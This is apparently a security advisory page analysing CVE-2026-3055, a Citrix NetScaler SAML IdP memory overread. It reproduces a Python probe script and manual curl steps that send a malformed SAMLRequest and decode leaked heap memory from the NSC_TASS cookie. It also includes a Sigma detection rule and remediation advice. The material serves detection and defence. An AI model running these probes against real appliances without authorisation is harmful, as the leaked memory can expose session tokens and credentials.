UNKNOWN CVSS: N/A โ€ข 2026-04-20

CVE-2026-3055: Citrix NetScaler Out-of-Bounds Read via SAML IdP Memory Overread

Analysis of CVE-2026-3055, an unauthenticated out-of-bounds read in Citrix NetScaler ADC/Gateway affecting SAML Identity Provider configurations, leading to memory leakage via the NSC_TASS cookie.

CVE-2026-3055: Citrix NetScaler Out-of-Bounds Read via SAML IdP Memory Overread

1. Executive Summary

CVE-2026-3055 represents a critical security vulnerability in Citrix NetScaler ADC (formerly Citrix ADC), NetScaler Gateway, and associated FIPS/NDcPP variants. This vulnerability constitutes an unauthenticated out-of-bounds read (CWE-125) triggered when the appliance is configured as a SAML Identity Provider (IdP).

By sending a malformed SAML AuthnRequest lacking specific assertion consumer attributes, an attacker can cause the NetScaler backend to read adjacent heap memory. This overread data is inadvertently propagated into the NSC_TASS session cookie, enabling remote information disclosure.

Key Intelligence:

  • CWE: CWE-125 (Out-of-bounds Read).
  • Attack Vector: Remote Unauthenticated (RUA) via HTTP/HTTPS to /saml/login.
  • Configuration Required: NetScaler must be configured as a SAML IdP.
  • Impact: Memory leak. Potentially exposes heap/stack contents, including session tokens, cryptographic keys, internal pointers, or sensitive application data.
  • Risk Assessment: Marked as KEV (Known Exploited Vulnerability) with a Risk Score of 100. Immediate action is required.
  • Vendor Guidance: Apply mitigations per vendor instructions, follow BOD 22-01 guidance for cloud services, or discontinue use if mitigations are unavailable.

Note on CVSS: At the time of publication, the CVSS vector and score have not been publicly assigned. However, given the KEV status and the ability to perform remote unauthenticated memory disclosure, the operational risk is assessed as Critical.

2. Technical Deep Dive

2.1 Vulnerability Root Cause

The vulnerability resides in the C/C++ backend handling SAML protocol parsing within the NetScaler appliance. Specifically, the flaw is a missing bounds check (CWE-125) during the resolution of destination endpoints in the SAML IdP workflow.

When the NetScaler SAML module processes an AuthnRequest, it attempts to determine the target endpoint for the response. If the AuthnRequest omits the AssertionConsumerServiceURL and AssertionConsumerServiceIndex attributes, the parser attempts to resolve a fallback destination. Due to the missing bounds check, instead of failing gracefully or returning a protocol error, the parser reads bytes from adjacent memory buffers on the heap.

2.2 Attack Flow

  1. Trigger: The attacker crafts a minimal SAML 2.0 AuthnRequest XML. Crucially, the AssertionConsumerServiceURL and AssertionConsumerServiceIndex attributes are absent.
  2. Transmission: The XML is base64-encoded and submitted via POST /saml/login as the SAMLRequest parameter.
  3. Processing: The NetScaler parses the request. The missing ACS attributes trigger the fallback logic.
  4. Memory Overread: The backend reads past the allocated buffer boundary, capturing adjacent heap data.
  5. Leakage: The overread bytes are written into the NSC_TASS (NetScaler Application Server Session) session cookie.
  6. Exfiltration: The server responds with HTTP 200/302 containing Set-Cookie: NSC_TASS=<base64_leaked_memory>. The attacker decodes this cookie to inspect the leaked memory.

2.3 Impact Analysis

While an out-of-bounds read is traditionally lower severity than a write primitive, in the context of a high-value appliance like NetScaler:

  • Heap Layout Mapping: Leaking adjacent memory can reveal heap structure pointers, enabling heap Feng Shui or further exploitation.
  • Credential Theft: The heap may contain cached credentials, session tokens, or internal state data.
  • Side-Channel Information: The NSC_TASS cookie is normally used for application server affinity or session tracking. Hijacking this vector to leak data bypasses standard access controls for SAML endpoints.

3. PoC Analysis

A Python-based detection script has been released that demonstrates the vulnerability mechanics. The PoC automates the construction of the malformed payload, sends it to the target, and analyzes the response to determine patch status and extract leaked memory.

PoC Repository: https://github.com/l0lsec/check-cve-2026-3055-netscaler
Author: l0lsec
Description: Low-impact probe for Citrix NetScaler CVE-2026-3055 (SAML IdP memory overread)

3.1 Code Analysis

The script performs a pre-flight check to confirm SAML IdP exposure, constructs the payload, and inspects the response headers for the NSC_TASS cookie.

Key Logic in check_cve_2026-3055.py:

  • Payload Construction: Generates a minimal AuthnRequest without ACS attributes.
  • Pre-flight: Checks /metadata/samlidp/ for EntityDescriptor.
  • Response Parsing: Extracts NSC_TASS from cookies, decodes the base64 value, and provides a hex dump for manual analysis.
#!/usr/bin/env python3
"""
CVE-2026-3055 -- Citrix NetScaler SAML IdP Memory Overread Detection

Sends a minimal SAMLRequest (missing AssertionConsumerServiceURL) to /saml/login
and checks the response to determine patch status:

  - NSC_TASS cookie returned  -->  POTENTIALLY VULNERABLE
  - "Parsing of presented Assertion failed" in body  -->  PATCHED
  - Connection error / no SAML endpoint  -->  NOT APPLICABLE

Reference: https://labs.watchtowr.com/the-sequels-are-never-as-good-but-were-still-in-pain-citrix-netscaler-cve-2026-3055-memory-overread/
"""

import argparse
import base64
import urllib3

import requests

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

TARGETS: list[str] = []

SAML_REQUEST_XML = (
    '<samlp:AuthnRequest xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol" \r\n'
    'xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion"  \r\n'
    'ID="_1"\r\n'
    'Version="2.0" ProviderName="my provider" \r\n'
    'Destination="http://watchtowr/saml.php" \r\n'
    'ProtocolBinding="urn:oasis:names:tc:SAML:2.0:bindings:HTTP-POST" \r\n'
    '>\r\n'
    '  <saml:Issuer>http://watchtowr/saml.php</saml:Issuer>\r\n'
    '</samlp:AuthnRequest>'
)

SAML_LOGIN_PATH = "/saml/login"
METADATA_PATH = "/metadata/samlidp/"
PATCHED_MARKER = "Parsing of presented Assertion failed"
COOKIE_NAME = "NSC_TASS"


def build_saml_payload() -> str:
    return base64.b64encode(SAML_REQUEST_XML.encode()).decode()


def check_saml_metadata(base_url: str, timeout: int) -> dict:
    """Pre-flight: see if the SAML IdP metadata endpoint responds."""
    url = f"{base_url.rstrip('/')}{METADATA_PATH}"
    try:
        resp = requests.get(url, timeout=timeout, verify=False, allow_redirects=True)
        has_xml = "EntityDescriptor" in resp.text or "IDPSSODescriptor" in resp.text
        return {"reachable": True, "status": resp.status_code, "saml_idp": has_xml}
    except requests.ConnectionError:
        return {"reachable": False, "status": None, "saml_idp": False}
    except requests.Timeout:
        return {"reachable": False, "status": None, "saml_idp": False}
    except requests.RequestException as exc:
        return {"reachable": False, "status": None, "saml_idp": False, "error": str(exc)}


def check_cve(base_url: str, timeout: int) -> dict:
    """Send the detection payload and interpret the response."""
    url = f"{base_url.rstrip('/')}{SAML_LOGIN_PATH}"
    payload = build_saml_payload()

    try:
        resp = requests.post(
            url,
            data={"SAMLRequest": payload},
            timeout=timeout,
            verify=False,
            allow_redirects=False,
        )
    except requests.ConnectionError:
        return {"status": "UNREACHABLE", "detail": "Connection refused or timed out"}
    except requests.Timeout:
        return {"status": "UNREACHABLE", "detail": "Request timed out"}
    except requests.RequestException as exc:
        return {"status": "ERROR", "detail": str(exc)}

    result = {
        "http_status": resp.status_code,
        "headers": dict(resp.headers),
    }

    nsc_tass = resp.cookies.get(COOKIE_NAME)
    if nsc_tass is None:
        for cookie in resp.cookies:
            if cookie.name == COOKIE_NAME:
                nsc_tass = cookie.value
                break

    if nsc_tass is None:
        set_cookie = resp.headers.get("Set-Cookie", "")
        if COOKIE_NAME in set_cookie:
            for part in set_cookie.split(";"):
                part = part.strip()
                if part.startswith(f"{COOKIE_NAME}="):
                    nsc_tass = part.split("=", 1)[1]
                    break

    if nsc_tass:
        result["status"] = "POTENTIALLY VULNERABLE"
        result["detail"] = f"Server returned {COOKIE_NAME} cookie (HTTP {resp.status_code})"
        result["nsc_tass_raw"] = nsc_tass
        try:
            decoded = base64.b64decode(nsc_tass)
            result["nsc_tass_decoded_hex"] = decoded.hex()
            result["nsc_tass_decoded_text"] = decoded.decode("ascii", errors="replace")
        except Exception:
            result["nsc_tass_decoded_hex"] = "DECODE_ERROR"
    else:
        if PATCHED_MARKER in resp.text:
            result["status"] = "PATCHED"
            result["detail"] = "Server returned patched error message."
        else:
            result["status"] = "NOT APPLICABLE"
            result["detail"] = "No NSC_TASS cookie and no patched marker found."

    return result


if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="Check Citrix NetScaler CVE-2026-3055")
    parser.add_argument("--target", help="Target URL (e.g., https://netscaler.example.com)", required=True)
    parser.add_argument("--timeout", type=int, default=10, help="Request timeout in seconds")
    args = parser.parse_args()

    metadata = check_saml_metadata(args.target, args.timeout)
    if not metadata.get("saml_idp", False):
        print("[!] Target does not appear to be configured as a SAML IdP.")
        exit(1)

    print(f"[*] Checking {args.target} for CVE-2026-3055...")
    result = check_cve(args.target, args.timeout)

    if result["status"] == "POTENTIALLY VULNERABLE":
        print(f"[+] VULNERABILITY DETECTED: {result['detail']}")
        if "nsc_tass_decoded_hex" in result:
            print(f"[*] Leaked Memory Hex (First 256 bytes):")
            print(result["nsc_tass_decoded_hex"][:512])
            print(f"[*] Leaked Memory Text:")
            print(result["nsc_tass_decoded_text"][:256])
    elif result["status"] == "PATCHED":
        print("[+] Target appears patched.")
    elif result["status"] == "NOT APPLICABLE":
        print("[*] Target not affected or not a SAML IdP.")
    else:
        print(f"[-] Status: {result['status']} - {result.get('detail', '')}")

3.2 Detection Criteria

  • Vulnerable State: Response contains NSC_TASS cookie with a valid base64 value.
  • Patched State: Response body contains Parsing of presented Assertion failed.
  • Not Applicable: No SAML IdP configuration or connection error.

4. Exploitation Walkthrough

โš  No Runnable Lab

Critical Notice: This CVE targets proprietary firmware running on Citrix NetScaler appliances (ADC/Gateway/FIPS). There is no public Docker image, Vulhub service, or emulator available for this vulnerability.

To reproduce CVE-2026-3055, you must have access to a vulnerable NetScaler version. Attempting to run unverified PoCs against production systems is strongly discouraged. Security teams should validate mitigation status using the provided detection logic or WAF signatures rather than active exploitation.

4.1 Manual Detection via Curl

Analysts can verify the vulnerability without downloading external scripts using standard tools.

Step 1: Base64 Encode the Payload

Create the minimal SAML request:

<samlp:AuthnRequest xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol"
xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion"
ID="_1" Version="2.0" ProviderName="my provider"
Destination="http://example/saml.php"
ProtocolBinding="urn:oasis:names:tc:SAML:2.0:bindings:HTTP-POST">
  <saml:Issuer>http://example/saml.php</saml:Issuer>
</samlp:AuthnRequest>

Encode it (Linux/macOS):

SAML_REQ=$(echo '<samlp:AuthnRequest xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol" xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" ID="_1" Version="2.0" ProviderName="my provider" Destination="http://example/saml.php" ProtocolBinding="urn:oasis:names:tc:SAML:2.0:bindings:HTTP-POST"><saml:Issuer>http://example/saml.php</saml:Issuer></samlp:AuthnRequest>' | base64 -w 0)
echo "$SAML_REQ"

Step 2: Send Request

curl -k -v -X POST "https://netscaler.corp/saml/login" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "SAMLRequest=${SAML_REQ}" \
  -c cookies.txt

Step 3: Analyze Response

Inspect cookies.txt for the NSC_TASS entry:

cat cookies.txt | grep NSC_TASS

If present, extract the value, decode, and analyze:

# Extract value (replace with actual value)
TASS_VAL="SGVsbG8gV29ybGQ..."
echo "$TASS_VAL" | base64 -d | xxd

5. Detection & Monitoring

5.1 WAF / NIDS Signatures

Security engineers should implement the following detection logic in their WAF, SIEM, or NIDS.

Pattern 1: SAML Login with Missing ACS
Monitor for POST requests to /saml/login containing a base64-encoded SAMLRequest where the decoded XML lacks AssertionConsumerServiceURL or AssertionConsumerServiceIndex.

Pattern 2: Response Anomaly
Monitor for NSC_TASS cookies appearing in responses to SAML login requests, particularly when accompanied by HTTP 200/302 status codes.

Example Sigma Rule (Conceptual):

title: Citrix NetScaler CVE-2026-3055 SAML Login Probe
id: cve-2026-3055-saml-probe
status: experimental
description: Detects potential exploitation of CVE-2026-3055 via SAML login requests missing ACS attributes.
author: iLoveThreats
date: 2026/04/20
logsource:
  category: web_proxy
  product: netscaler
detection:
  selection:
    http.uri|endswith: '/saml/login'
    http.method: 'POST'
    http.content_type|contains: 'application/x-www-form-urlencoded'
    http.body|contains: 'SAMLRequest='
  condition: selection
falsepositives:
  - Legitimate misconfigured SAML SPs (unlikely)
level: high
tags:
  - attack.initial_access
  - cve.cve-2026-3055
  - citrix.netscaler

5.2 Nuclei Template Strategy

For vulnerability scanning pipelines, a Nuclei template should target the SAML endpoint and check for the specific cookie response behavior.

6. Remediation Guidance

6.1 Immediate Actions

  1. Check Vendor Advisory: Consult the official Citrix Security Advisory for CVE-2026-3055 to determine affected versions and patch availability.
  2. Apply Patches: Deploy the latest firmware version recommended by Citrix. Ensure all NetScaler ADC, Gateway, and FIPS appliances are updated.
  3. Network Restrictions: If patching is delayed, restrict access to /saml/login and /metadata/samlidp/ to known IP ranges via WAF rules or ACLs. Ensure these endpoints are not exposed to the public internet unless absolutely necessary.
  4. Disable SAML IdP: If the NetScaler is not required to function as a SAML Identity Provider, disable the feature to eliminate the attack surface.

6.2 Workarounds

  • WAF Blocking: Configure the WAF to block POST requests to /saml/login containing SAMLRequest parameters that lack ACS attributes. Note that this may impact legitimate IdP configurations relying on default behavior; testing is essential.
  • Monitor NSC_TASS: Alert on unusual values in the NSC_TASS cookie, particularly if the cookie size increases significantly or contains binary-like data.

6.3 Compliance

  • BOD 22-01: For organizations using NetScaler in cloud services, follow the BOD 22-01 guidance regarding cloud service provider vulnerabilities.
  • KEV Compliance: As this is a KEV, ensure mitigation is tracked in your vulnerability management program. Failure to address KEVs may result in compliance gaps depending on your regulatory framework.

7. References

๐Ÿงช Lab Environment

A hands-on lab environment for this vulnerability is not yet available. Our automated builder is continuously adding new labs โ€” check back soon!

When available, you'll get:
  • ๐Ÿ”ฌ A vulnerable target instance to practice exploitation
  • ๐Ÿ–ฅ๏ธ Browser-based Kali Linux with pre-installed tools
  • ๐Ÿ”’ Completely isolated network โ€” no internet access
  • โฑ๏ธ 1-hour session with automatic cleanup